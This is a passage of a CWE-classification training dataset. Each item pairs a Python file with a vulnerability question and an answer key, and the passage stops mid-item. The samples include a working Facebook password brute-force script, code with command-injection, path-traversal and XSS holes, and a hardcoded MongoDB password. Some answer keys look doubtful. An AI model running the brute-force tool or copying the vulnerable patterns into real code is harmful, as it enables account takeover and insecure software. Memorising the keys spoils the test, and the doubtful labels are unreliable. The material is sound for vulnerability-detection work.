OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/bin/env python2.7
import os
import sys
import requests
class Main:
    def __init__(self,x,y):
        self.email = x
        self.url = 'https://m.facebook.com/login'
        self.ex = open(y, 'r').readlines()
    def main(self):
        for line in self.ex:
            password = line.strip()
            http = requests.post(self.url, data={'email': self.email, 'pass': password, 'login': 'submit'})
            content = http.content
            if 'Beranda' in content:
                print ('\x1b[1;32;40mPASSWORD => '+password+' [ benar ]')
                sys.exit(1)
            else:
                print('\x1b[1;31;40mPASSWORD => '+password+' [ salah ]')
try:
    if os.system("ping -c 1 " + "google.com") == 0:
        os.system("clear")
        print ('\x1b[1;31;40m [ ======== FACEBOOK BRUTEFORCE WITH WORDLIST ======= ]')
        print ('\x1b[1;31;40m [ ================ TUANB4DUT X QYWOK =============== ]')
        print ('\x1b[1;31;40m [ ========== https://github.com/belajarqywok ======= ]')
        print ('\x1b[1;37;40m [ =========== INDONESIAN TERMUX ASSOCIATION ======== ]')
        print ('\x1b[1;37;40m [ ============= D35TR0Y SQUAD X QNETICS ============ ]')
        print ('\x1b[1;37;40m [ ===================== INDONESIA ================== ]')
        mail=sys.argv[1]
        wfile=sys.argv[2]
        if __name__ == '__main__':
            Main(mail,wfile).main()
    else:
        os.system("clear")
        print('\x1b[1;31;40mKoneksi internet anda bermasalah')
except KeyboardInterrupt:
    os.system("clear")
    print('\x1b[1;31;40mKeluar dari program')
except IndexError:
    os.system("clear")
    print("masukan nama email/wordlist terlebih dahulu")

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  B) CWE-312: Cleartext Storage of Sensitive Information
  C) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  D) CWE-94: Improper Control of Generation of Code ('Code Injection')
  E) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  F) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# coding=utf-8
import hashlib
from json.decoder import JSONDecodeError

import projecta11.db as db
from projecta11.config import conf
from projecta11.session import Session
from tornado.escape import json_decode


def parse_json_body(func):
    def wrapper(self, *args, **kwargs):
        try:
            data = json_decode(self.request.body)
        except JSONDecodeError:
            self.finish(400, 'bad request')
            return
        return func(self, *args, data=data, **kwargs)
    return wrapper


def require_session(func):
    def wrapper(self, *args, **kwargs):
        session_id = self.get_argument('session_id', None)
        if session_id is None or session_id == '':
            self.finish(403, 'all arguments are required')
            return

        try:
            sess = Session(session_id)
        except FileNotFoundError as e:
            self.finish(402, 'invalid session_id')
            return
        kwargs.update(sess=sess)
        return func(self, *args, **kwargs)
    return wrapper


def role_in(*valid_roles):
    def decorator(func):
        def wrapper(self, *args, **kwargs):
            sess = kwargs['sess']
            role = int(sess['role'])
            if role not in map(lambda x: x.value, valid_roles):
                return self.finish(410, 'you have no permission')
            return func(self, *args, **kwargs)
        return wrapper
    return decorator


def keys_filter(obj, keys: [tuple, set]) -> dict:
    if isinstance(obj, dict):
        temp_dict = dict(filter(lambda x: x[0] in keys, obj.items()))
        missing_keys = keys - temp_dict.keys()
        temp_dict.update({key: None for key in missing_keys})
        return temp_dict

    elif isinstance(obj, Session):
        return dict(zip(keys, map(
            lambda x: x.decode() if isinstance(x, bytes) else x,
            obj[keys])))

    elif isinstance(obj, db.Base):
        return {key: obj.__dict__.get(key, None) for key in keys}

    else:
        raise ValueError


def hash_password(password):
    hashed = hashlib.sha256(password.encode()).hexdigest()
    salted = hashed + conf.app.password_salt
    hashed_and_salted = hashlib.sha256(salted.encode()).hexdigest()
    return hashed_and_salted

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) wrapper
  B) decorator
  C) hash_password
  D) require_session
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Get user oauth credentials.

Utility to help with getting the access token for a user

"""

from __future__ import (division, absolute_import, print_function,
                        unicode_literals)
import sys
import logging

import tweepy
from six.moves.configparser import SafeConfigParser
from six.moves import input


def main():
    """The main function."""
    #log = logging.getLogger('main')
    config = SafeConfigParser()
    if not config.read('config.ini'):
        print('Could not read config file')
        return 1
    consumer_key = config.get('twitter', 'consumer_key')
    consumer_secret = config.get('twitter', 'consumer_secret')
    auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
    try:
        redirect_url = auth.get_authorization_url()
    except tweepy.TweepError as exc:
        print('Error! Failed to get request token')
        print(exc)
        return 1
    print('Please go to the following url to authorize this app:')
    print("  {}\n".format(redirect_url))
    print('Enter the verifier code you see after authorizing app')
    verifier = input('Verifier: ')
    try:
        auth.get_access_token(verifier)
    except tweepy.TweepError:
        print('Error! Failed to get access token')
        return 1
    print('Enter these values in for access_token and access_token_secret')
    print('access_token: {}'.format(auth.access_token.key))
    print('access_token_secret: {}'.format(auth.access_token.secret))
    return 0


if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    sys.exit(main())

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  B) CWE-312: Cleartext Storage of Sensitive Information
  C) CWE-117: Improper Output Neutralization for Logs
  D) CWE-918: Server-Side Request Forgery (SSRF)
  E) CWE-732: Incorrect Permission Assignment for Critical Resource
  F) CWE-1333: Inefficient Regular Expression Complexity
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# app/mongo_queries.py

import pymongo
import os
import pandas as pd
import json

DB_USER = 'joemac'
DB_PASSWORD = 'WnpPTBG3lyhJ2bXT'
CLUSTER_NAME = 'cluster0-udrnh'

connection_uri = f"mongodb+srv://{DB_USER}:{DB_PASSWORD}@{CLUSTER_NAME}.mongodb.net/test?retryWrites=true&w=majority"
print("----------------")
print("URI:", connection_uri)

client = pymongo.MongoClient(connection_uri)
print("----------------")
print("CLIENT:", type(client), client)
print("----------------")
print(dir(client))

print("----------------")
print('DB NAMES', client.list_database_names())

db = client.ilya_database
print("----------------")
print("DB:", type(db), db)

collection_name = 'rpg'
collection = db[collection_name]

rpg_json_list = [
    'armory_item',
    'armory_weapon', 
    'charactercreator_character',
    'charactercreator_character_inventory',
    'charactercreator_cleric',
    'charactercreator_fighter',
    'charactercreator_mage',
    'charactercreator_necromancer',
    'charactercreator_thief']

def Convert(lst): 
    res_dct = {lst[i]: lst[i + 1] for i in range(0, len(lst), 2)} 
    return res_dct 

for filename in rpg_json_list:
    print('RPG Table:', filename)
    JSON_FILEPATH = os.path.join(os.path.dirname(__file__), 'data', filename+'.json')
    df_rpg = pd.read_json(JSON_FILEPATH)
    str_rpg = df_rpg.to_json()
    dict_rpg = json.loads(str_rpg)
    dict_rpg['_id'] = filename
    collection.insert_one(dict_rpg)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  B) CWE-918: Server-Side Request Forgery (SSRF)
  C) CWE-312: Cleartext Storage of Sensitive Information
  D) CWE-611: Improper Restriction of XML External Entity Reference
  E) CWE-295: Improper Certificate Validation
  F) CWE-377: Insecure Temporary File
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/python

import BaseHTTPServer
import urllib
import os.path

SERVER_FILES = "serverFiles"

def parsePath(pathArgs):
	pathArgs = pathArgs.split("?")

	path = pathArgs[0][1:].split("/")
	args = pathArgs[1] if len(pathArgs) > 1 else ""

	path = [p for p in path if len(p) > 0]

	nArgs = {}
	for a in args.split("&"):
		argParts = a.split("=")

		if len(argParts[0]) == 0:
			continue
		
		key = urllib.unquote_plus(argParts[0])
		val = urllib.unquote_plus(argParts[1]) if len(argParts) > 1 else ''

		nArgs[key] = val
	
	args = nArgs

	return path, args

def readServerFile(file, staticVars = {}):
	
	if len(file) == 0:
		return False
	
	filePath = os.path.join(SERVER_FILES, file)

	if not os.path.isfile(filePath):
		return False

	ret = ""

	with open(filePath) as f:
		ret = f.read()

	for key in staticVars:
		replaceKey = "{$%s}" % key
		ret = ret.replace(replaceKey, staticVars[key])
	
	return ret

def run(server_class=BaseHTTPServer.HTTPServer, handler_class=BaseHTTPServer.BaseHTTPRequestHandler):
	server_address = ('', 8000)
	httpd = server_class(server_address, handler_class)

	running = True
	while running:
		try:
			httpd.handle_request()
		except KeyboardInterrupt as e:
			running = False

class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):

	def do_GET(self):
		# ret = ""

		# ret += str(self.client_address) + "\n"
		# ret += str(parsePath(self.path))

		# self.writeBody(body=ret)

		path, args = parsePath(self.path)
		path = map(lambda x: x.lower(), path)

		request = path[0] if len(path) > 0 else ""
		endpoint = path[1] if len(path) > 1 else ""

		if request == "file":
			staticVars = {}

			staticVars["clientIp"] = self.client_address[0]

			body = readServerFile(endpoint, staticVars)

			if body == False:
				self.writeBody(code=404, body="404 - not found")
			else:
				self.writeBody(body=body)
		else:
			self.writeBody(code=404, body="404 - not found")

		
	
	def writeBody(self, code=200, headers=[], mimeType="text/html; charset=utf-8", body=""):

		body = body.encode("utf_8")

		self.send_response(code)

		for h in headers:
			self.send_header(h[0], h[1])

		self.send_header("Content-type", mimeType)
		self.send_header("Content-length", len(body))

		self.end_headers()

		self.wfile.write(body)

run(handler_class=RequestHandler)
```

Which of the following functions or classes contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability?

  A) parsePath
  B) run
  C) RequestHandler
  D) readServerFile
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import string
import random
import argparse


def password_generator(size=6,
                       chars=string.ascii_letters + string.digits):
    return ''.join(random.SystemRandom().choice(chars) for _ in range(size))


if __name__ == "__main__":
    size = 14
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--size", help="Random string size", type=int)

    args = parser.parse_args()
    if args.size:
        size = args.size

    print(password_generator(size=size))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  B) CWE-918: Server-Side Request Forgery (SSRF)
  C) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  D) CWE-215: Insertion of Sensitive Information Into Debugging Code
  E) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask
from flask import abort
from flask import redirect

app = Flask(__name__)

@app.route('/')
def index():
	return '<h1>Hello World!</h1>'

#使用app.route修饰器，把修饰的函数注册为路由
#修饰器可以使用不同的方式修改函数的行为，惯常用法是使用修饰器把函数注册为事件的处理程序
@app.route('/user/<name>')
def sayHello(name):
	if name == 'baidu':
		return redirect('http://www.baidu.com')
	elif name == 'No':
		return abort(404)
	return '<h1>Hello,%s</h1>'%name

if __name__ == '__main__':
	app.run(debug=True)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-502: Deserialization of Untrusted Data
  B) CWE-215: Insertion of Sensitive Information Into Debugging Code
  C) CWE-209: Generation of Error Message Containing Sensitive Information
  D) CWE-94: Improper Control of Generation of Code ('Code Injection')
  E) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  F) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Answer: B,E
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import Flask
from flask import abort
from flask import redirect

app = Flask(__name__)

@app.route('/')
def index():
	return '<h1>Hello World!</h1>'

#使用app.route修饰器，把修饰的函数注册为路由
#修饰器可以使用不同的方式修改函数的行为，惯常用法是使用修饰器把函数注册为事件的处理程序
@app.route('/user/<name>')
def sayHello(name):
	if name == 'baidu':
		return redirect('http://www.baidu.com')
	elif name == 'No':
		return abort(404)
	return '<h1>Hello,%s</h1>'%name

if __name__ == '__main__':
	app.run(debug=True)

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: sayHello
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import re
import hashlib
import hmac
import random
from string import letters


#
# Cookies hashing
#

SECRET = 'fart'


def make_cookie_hash(val):
    return '%s|%s' % (val, hmac.new(SECRET, val).hexdigest())


def check_cookie_hash(secure_val):
    val = secure_val.split('|')[0]
    if secure_val == make_cookie_hash(val):
        return val


#
# Passwords hashing
#

def make_salt(length=5):
    return ''.join(random.choice(letters) for x in xrange(length))


def make_pw_hash(name, pw, salt=None):
    if not salt:
        salt = make_salt()
    h = hashlib.sha256(name + pw + salt).hexdigest()
    return '%s,%s' % (salt, h)


def check_pw_hash(name, password, h):
    salt = h.split(',')[0]
    return h == make_pw_hash(name, password, salt)


#
# Input Validity checking
#

USER_RE = re.compile(r"^[a-zA-Z0-9_-]{3,20}$")
PASS_RE = re.compile(r"^.{3,20}$")
EMAIL_RE = re.compile(r'^[\S]+@[\S]+\.[\S]+$')


def valid_username(username):
    return username and USER_RE.match(username)


def valid_password(password):
    return password and PASS_RE.match(password)


def valid_email(email):
    return not email or EMAIL_RE.match(email)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-611: Improper Restriction of XML External Entity Reference
  B) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  C) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  D) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  E) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  F) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
import importlib_resources as _resources
import pangu
from jinja2 import FileSystemLoader, Environment


def to_html(data, template_filename, fp):
    # Template with Jinja2
    with _resources.path("crawler_book_info", "templates") as _path:
        template_path = str(_path)
        loader = FileSystemLoader(searchpath=template_path)
        env = Environment(loader=loader)
        template = env.get_template(template_filename)

        # Mapping the parser data to template.
        result = template.render(**data)

        # Write to HTML file.
        fp.write(pangu.spacing_text(result))


def get_argument_parser():
    parser = argparse.ArgumentParser(
        prog="crawler_book_info",
        description="crawler book info")
    parser.add_argument(
        '-o', '--output', type=argparse.FileType('w'),
        help="Output HTML filename",
        default="output.html")
    parser.add_argument(
        'url_or_id', nargs='?')
    return parser

```

Which of the following functions or classes contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability?

  A) get_argument_parser
  B) to_html
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python

from __future__ import print_function
import os
import sys
import subprocess
import argparse

from settings import PORT, HOST

try:
    from SocketServer import ThreadingMixIn
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
except ImportError:
    from socketserver import ThreadingMixIn
    from http.server import HTTPServer, BaseHTTPRequestHandler


parser = argparse.ArgumentParser(description='Simple Threaded HTTP server to run Linux-sys Dashboard.')
parser.add_argument('--port', metavar='PORT', type=int, nargs='?', default=PORT,
                    help='Port to run the server on.')

modulesSubPath = '/linux_json_api.sh'
appRootPath = os.path.dirname(os.path.realpath(__file__))

class MainHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            data = ''
            contentType = 'text/html'
            if self.path.startswith("/server/"):
                contentType = 'json'
                module = self.path.split('=')[1]
                cmdPath = appRootPath + modulesSubPath + " " + module
                output = subprocess.Popen(
                    cmdPath,
                    shell = True,
                    stdout = subprocess.PIPE)
                data = output.communicate()[0]
                self.send_response(200)
                self.send_header('Content-type', contentType)
                self.end_headers()
                self.wfile.write(data)
            else:
                if self.path == '/':
                    self.path = '/index.html'
                elif self.path == '/favicon.ico':
                    self.path = '/favicon.svg'
                f = open(appRootPath + '/static' + self.path)
                data = f.read()
                if self.path.startswith('/linuxDash.min.css'):
                    contentType = 'text/css'
                if self.path.startswith('/favicon.svg'):
                    contentType = 'image'
                f.close()
                self.send_response(200)
                self.send_header('Content-type', contentType)
                self.end_headers()
                self.wfile.write(data.encode(encoding='UTF-8'))

        except IOError:
            self.send_error(404, 'File Not Found: %s' % self.path)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

if __name__ == '__main__':
    args = parser.parse_args()
    server = ThreadedHTTPServer((HOST, args.port), MainHandler)
    print('Starting server, use <Ctrl-C> to stop')
    server.serve_forever()

```

Name the function or class in this code that contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability.
Answer: do_GET
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python

from __future__ import print_function
import os
import sys
import subprocess
import argparse

from settings import PORT, HOST

try:
    from SocketServer import ThreadingMixIn
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
except ImportError:
    from socketserver import ThreadingMixIn
    from http.server import HTTPServer, BaseHTTPRequestHandler


parser = argparse.ArgumentParser(description='Simple Threaded HTTP server to run Linux-sys Dashboard.')
parser.add_argument('--port', metavar='PORT', type=int, nargs='?', default=PORT,
                    help='Port to run the server on.')

modulesSubPath = '/linux_json_api.sh'
appRootPath = os.path.dirname(os.path.realpath(__file__))

class MainHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            data = ''
            contentType = 'text/html'
            if self.path.startswith("/server/"):
                contentType = 'json'
                module = self.path.split('=')[1]
                cmdPath = appRootPath + modulesSubPath + " " + module
                output = subprocess.Popen(
                    cmdPath,
                    shell = True,
                    stdout = subprocess.PIPE)
                data = output.communicate()[0]
                self.send_response(200)
                self.send_header('Content-type', contentType)
                self.end_headers()
                self.wfile.write(data)
            else:
                if self.path == '/':
                    self.path = '/index.html'
                elif self.path == '/favicon.ico':
                    self.path = '/favicon.svg'
                f = open(appRootPath + '/static' + self.path)
                data = f.read()
                if self.path.startswith('/linuxDash.min.css'):
                    contentType = 'text/css'
                if self.path.startswith('/favicon.svg'):
                    contentType = 'image'
                f.close()
                self.send_response(200)
                self.send_header('Content-type', contentType)
                self.end_headers()
                self.wfile.write(data.encode(encoding='UTF-8'))

        except IOError:
            self.send_error(404, 'File Not Found: %s' % self.path)

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

if __name__ == '__main__':
    args = parser.parse_args()
    server = ThreadedHTTPServer((HOST, args.port), MainHandler)
    print('Starting server, use <Ctrl-C> to stop')
    server.serve_forever()

```

Name the function or class in this code that contains a `CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')` vulnerability.
Answer: do_GET
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
#!/bin/env/user python

import jinja2
import yaml
import os, sys

def extractFormat(infile):
    format = str.upper(str.rsplit(os.path.basename(infile),".")[1])

    return format

def createCSVfile(input_files_list):

    o = open('csvfile', 'w')
    o.write('filepath\tformat\n')

    for f in input_files_list:

        format = extractFormat(f)
        
        o.write('%s\t%s\n' %(f, format))


    o.close()

    return 'csvfile'


def main():

    if not len(sys.argv) == 2:
        print 'Usage: ./setup_pipeline.py params.yaml\n'
        sys.exit(0)

    parameter_file = sys.argv[1]
    print parameter_file
    p = open(parameter_file, 'r')
    params = yaml.load(p)
    print params
    p.close()
    input_dir = params['INPUT_FILES_DIR']
    input_dir_files = os.listdir(input_dir)

    infiles_abspath_list = []
    for f in input_dir_files:
        infiles_abspath_list.append(os.path.join(input_dir, f))

    #input_files_list = params['INPUT_FILES'].split()
    #input_files_list += infiles_abspath_list

    csvfilepath = createCSVfile(infiles_abspath_list)
    params['CSVFILE'] = csvfilepath


    # load directory with all templates (network.and template) into jinja2:
    temp_env = jinja2.Environment(loader=jinja2.FileSystemLoader('/import/bc2/home/zavolan/cherrmann/PIPELINE'))

    # render output html files
    # peaks page
    network_temp = temp_env.get_template('network_template.and')
    rendered_network_template = network_temp.render(params)
    o = open('yaml_1st_test.and', 'w')
    for l in rendered_network_template:
        o.write(l)
    o.close()
    
    hosts_temp = temp_env.get_template('hosts_template.conf')
    rendered_hosts_template = hosts_temp.render(params)
    o = open('yaml_hosts_1.conf', 'w')
    for l in rendered_hosts_template:
        o.write(l)
    o.close()    

if __name__ == "__main__":
    main()

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: main
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import os
import sys
import uuid

from flask import render_template, redirect, url_for, flash, \
    request, jsonify, send_from_directory
from werkzeug.utils import secure_filename

from app import app
from app.forms import UploadPhotoForm
from app.utils.ocr import extract_text

@app.route('/', methods=['GET', 'POST'])
def index():
    form = UploadPhotoForm()
    if form.validate_on_submit():
        f = form.file_name.data
        img_prep = form.prep_method.data

        fname = secure_filename(f.filename)
        filename = '-'.join([str(uuid.uuid4().hex)[:16], fname])
        filepath = os.path.join(
            app.config['UPLOAD_FOLDER'],
            filename
        )
        f.save(filepath)
        return redirect(url_for('results', fp=filepath, img_prep=img_prep))

    return render_template('index.html', title='Extract text from image',
                           form=form)

@app.route('/results', methods=['GET', 'POST'])
def results():
    filepath = request.args.get('fp')
    img_prep = request.args.get('img_prep')
    text = extract_text(filepath, img_prep)

    if os.path.exists(filepath):
        os.remove(filepath)

    return render_template('output.html', title='Results', text=text)


@app.route('/download_as_file', methods=['POST'])
def download_as_file():
    text = request.form.get('text')

    fname = '-'.join([str(uuid.uuid4().hex)[:16], 'yaOCRa.txt'])
    fpath = os.path.join(app.config['UPLOAD_FOLDER'], fname)
    with open(fpath, 'w', encoding='utf-8') as f:
        f.write(text)

    return redirect(url_for('download', filename=fname))


@app.route('/tmp/<filename>')
def download(filename):
    return send_from_directory(
        directory=app.config['DOWNLOAD_DIR'],
        filename=filename,
        as_attachment=True
    )
    return redirect(url_for('index'))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  B) CWE-116: Improper Encoding or Escaping of Output
  C) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import os
import sys
import uuid

from flask import render_template, redirect, url_for, flash, \
    request, jsonify, send_from_directory
from werkzeug.utils import secure_filename

from app import app
from app.forms import UploadPhotoForm
from app.utils.ocr import extract_text

@app.route('/', methods=['GET', 'POST'])
def index():
    form = UploadPhotoForm()
    if form.validate_on_submit():
        f = form.file_name.data
        img_prep = form.prep_method.data

        fname = secure_filename(f.filename)
        filename = '-'.join([str(uuid.uuid4().hex)[:16], fname])
        filepath = os.path.join(
            app.config['UPLOAD_FOLDER'],
            filename
        )
        f.save(filepath)
        return redirect(url_for('results', fp=filepath, img_prep=img_prep))

    return render_template('index.html', title='Extract text from image',
                           form=form)

@app.route('/results', methods=['GET', 'POST'])
def results():
    filepath = request.args.get('fp')
    img_prep = request.args.get('img_prep')
    text = extract_text(filepath, img_prep)

    if os.path.exists(filepath):
        os.remove(filepath)

    return render_template('output.html', title='Results', text=text)


@app.route('/download_as_file', methods=['POST'])
def download_as_file():
    text = request.form.get('text')

    fname = '-'.join([str(uuid.uuid4().hex)[:16], 'yaOCRa.txt'])
    fpath = os.path.join(app.config['UPLOAD_FOLDER'], fname)
    with open(fpath, 'w', encoding='utf-8') as f:
        f.write(text)

    return redirect(url_for('download', filename=fname))


@app.route('/tmp/<filename>')
def download(filename):
    return send_from_directory(
        directory=app.config['DOWNLOAD_DIR'],
        filename=filename,
        as_attachment=True
    )
    return redirect(url_for('index'))

```

Which of the following functions or classes contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability?

  A) index
  B) download_as_file
  C) results
  D) download
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import os
import sys
import uuid

from flask import render_template, redirect, url_for, flash, \
    request, jsonify, send_from_directory
from werkzeug.utils import secure_filename

from app import app
from app.forms import UploadPhotoForm
from app.utils.ocr import extract_text

@app.route('/', methods=['GET', 'POST'])
def index():
    form = UploadPhotoForm()
    if form.validate_on_submit():
        f = form.file_name.data
        img_prep = form.prep_method.data

        fname = secure_filename(f.filename)
        filename = '-'.join([str(uuid.uuid4().hex)[:16], fname])
        filepath = os.path.join(
            app.config['UPLOAD_FOLDER'],
            filename
        )
        f.save(filepath)
        return redirect(url_for('results', fp=filepath, img_prep=img_prep))

    return render_template('index.html', title='Extract text from image',
                           form=form)

@app.route('/results', methods=['GET', 'POST'])
def results():
